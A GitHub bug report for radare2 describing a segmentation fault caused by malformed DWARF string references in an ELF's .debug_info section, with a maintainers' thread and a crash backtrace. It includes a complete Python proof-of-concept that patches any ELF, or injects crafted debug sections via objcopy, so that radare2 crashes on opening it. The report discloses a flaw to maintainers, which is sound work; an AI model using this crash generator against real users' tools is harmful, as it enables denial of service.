Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[ELF] Segmentation fault by opening a binary (Bug in DWARF parsing) #17383

Closed
S01den opened this issue Jul 31, 2020 · 4 comments
Closed

[ELF] Segmentation fault by opening a binary (Bug in DWARF parsing) #17383

S01den opened this issue Jul 31, 2020 · 4 comments
Assignees
Labels
DWARF DWARF symbols and types debug information
Milestone

Comments

@S01den
Copy link

S01den commented Jul 31, 2020

Work environment

Questions Answers
OS/arch/bits (mandatory) 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
File format of the file you reverse (mandatory) ELF
Architecture/bits of the file (mandatory) x86/32, x86/64
r2 -v full output, not truncated (mandatory) radare2 4.6.0-git 25006 @ linux-x86-64 git.4.4.0-481-geac93216e
commit: eac9321 build: 2020-07-26__21:25:02

Expected behavior

radare2 ./test_crash opens the file in radare2 and displays the r2 shell to the user.

Actual behavior

$ r2 test_crash
Segmentation fault (core dumped)

Steps to reproduce the behavior

We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed DWARF information (DW_AT_name), in the .debug_info section.
So we wrote a small PoC script which turns any ELF into a binary which makes radare2 crash.

#!/usr/bin/python3
from elftools.elf.elffile import ELFFile
from elftools.elf.enums import ENUM_E_MACHINE
import sys
import struct
import argparse
import os
import base64

# trigger a segfault in radare2 by modifing a DW_FORM_strp (a reference to a string in the dwarf debug format) (modify the shift in DW_AT_name)
# bug found by S01den and Architect (with custom fuzzing)

def build_parser():
	parser = argparse.ArgumentParser(description="Trigger a segfault in radare2 by modifing a DW_FORM_strp in .debug_info")
	parser.add_argument("-f", "--file", 
		type=str, default="main",
		help="select the file to patch")

	return parser

print("__________                       _____  ________   _____  _________                      .__     ")
print("\______   \_______  ____   _____/ ____\ \_____  \_/ ____\ \_   ___ \____________    _____|  |__  ")
print("|     ___/\_  __ \/  _ \ /  _ \   __\   /   |   \   __\  /    \  \/\_  __ \__  \  /  ___/  |  \  ")
print("|    |     |  | \(  <_> |  <_> )  |    /    |    \  |    \     \____|  | \// __ \_\___ \|   Y  \ ")
print("|____|     |__|   \____/ \____/|__|    \_______  /__|     \______  /|__|  (____  /____  >___|  / ")
print("                                                \/                \/            \/     \/     \/ ")

args = build_parser().parse_args()

if(len(sys.argv) < 2):
	print("Command: ./unRadare2.py -f file_to_patch")
	exit()

filename = args.file
found = 0

file = open(filename,"rb")
binary = bytearray(file.read())
elffile = ELFFile(file)

offset_section_table = elffile.header.e_shoff
nbr_entries_section_table = elffile.header.e_shnum

for section in elffile.iter_sections():
	if(section.name == ".debug_info"):
		print("[*] .debug_info section f0und at %s!" % hex(section['sh_offset']))
		found = 1
		break

if(found):
	offset_dbg = section['sh_offset']
	binary[offset_dbg+0x31] = 0xff
	new_filename = filename+"_PoC"
	new_file = open(new_filename,"wb")
	new_file.write(binary)
	new_file.close()

	print("[*] ELF patched ! ----> "+new_filename)

else:
	comment_section = 0
	shstrtab_section = 0

	print("[!] No .debug_info section f0und :(")
	print("[*] So let's add it !")

	bin_abbrev = base64.b64decode("AREBJQ4TCwMOGw4RARIHEBcAAAIWAAMOOgs7C0kTAAADJAALCz4LAw4AAAQkAAsLPgsDCAAABQ8ACwsAAAYPAA==")
	bin_info = base64.b64decode("OAAAAAQAAAAAAAgBowAAAATXDQAAhxcAAM0OQAAAAAAAYCAAAAAAAAAAAAAAAjAAAAAD1DgAAAADCAcyFQAAAwEI")

	open("tmp_info", "wb").write(bin_info)
	open("tmp_abbrev", "wb").write(bin_abbrev)

	cmd_1 = "objcopy --add-section .debug_info=tmp_info "+args.file
	cmd_2 = "objcopy --add-section .debug_abbrev=tmp_abbrev "+args.file

	os.system(cmd_1)
	os.system(cmd_2)
	os.remove("tmp_info")
	os.remove("tmp_abbrev")
	print("[*] ELF patched ! ----> "+filename)

file.close()

crash_r2

@XVilka XVilka added the DWARF DWARF symbols and types debug information label Jul 31, 2020
@XVilka
Copy link
Contributor

XVilka commented Jul 31, 2020

@HoundThe please take a look.

@XVilka XVilka added this to the 4.6.0 milestone Jul 31, 2020
@S01den
Copy link
Author

S01den commented Aug 1, 2020

Here is the backtrace btw:

#0  0x00007ffff7dba4b5 in __strlen_avx2 () from /usr/lib/libc.so.6
#1  0x00007ffff7ce7233 in strdup () from /usr/lib/libc.so.6
#2  0x00007ffff62ad42b in parse_typedef (anal=0x5555555768b0, all_dies=0x555555681f90, count=0x3, idx=0x1) at type_dwarf.c:657
#3  0x00007ffff62ad7ae in parse_type_entry (anal=0x5555555768b0, all_dies=0x555555681f90, count=0x3, idx=0x1) at type_dwarf.c:759
#4  0x00007ffff62ad8ac in r_anal_parse_dwarf_types (anal=0x5555555768b0, info=0x5555556aa0c0) at type_dwarf.c:785
#5  0x00007ffff6cf340f in bin_dwarf (core=0x7ffff5d13010, mode=0x2) at cbin.c:1041
#6  0x00007ffff6cff41d in r_core_bin_info (core=0x7ffff5d13010, action=0x504fff, mode=0x2, va=0x1, filter=0x0, chksum=0x0) at cbin.c:4150
#7  0x00007ffff6cf0332 in r_core_bin_set_env (r=0x7ffff5d13010, binfile=0x5555556d7b80) at cbin.c:345
#8  0x00007ffff6cb6729 in r_core_file_do_load_for_io_plugin (r=0x7ffff5d13010, baseaddr=0xffffffffffffffff, loadaddr=0x0) at cfile.c:441
#9  0x00007ffff6cb709f in r_core_bin_load (r=0x7ffff5d13010, filenameuri=0x5555556d8020 "dwarftest", baddr=0xffffffffffffffff) at cfile.c:651
#10 0x00007ffff7e3d71a in r_main_radare2 (argc=0x2, argv=0x7fffffffdfb8) at radare2.c:1113
#11 0x0000555555555426 in main (argc=0x2, argv=0x7fffffffdfb8) at radare2.c:96
#12 0x00007ffff7c7f002 in __libc_start_main () from /usr/lib/libc.so.6
#13 0x00005555555550fe in _start ()

@HoundThe
Copy link
Contributor

HoundThe commented Aug 3, 2020

Cool, thanks for the nice report!

@S01den
Copy link
Author

S01den commented Aug 3, 2020

You're welcome :D

@HoundThe HoundThe closed this as completed Aug 7, 2020
@XVilka XVilka modified the milestones: 4.6.0, 4.5.1 Aug 11, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
DWARF DWARF symbols and types debug information
Projects
None yet
Development

No branches or pull requests

3 participants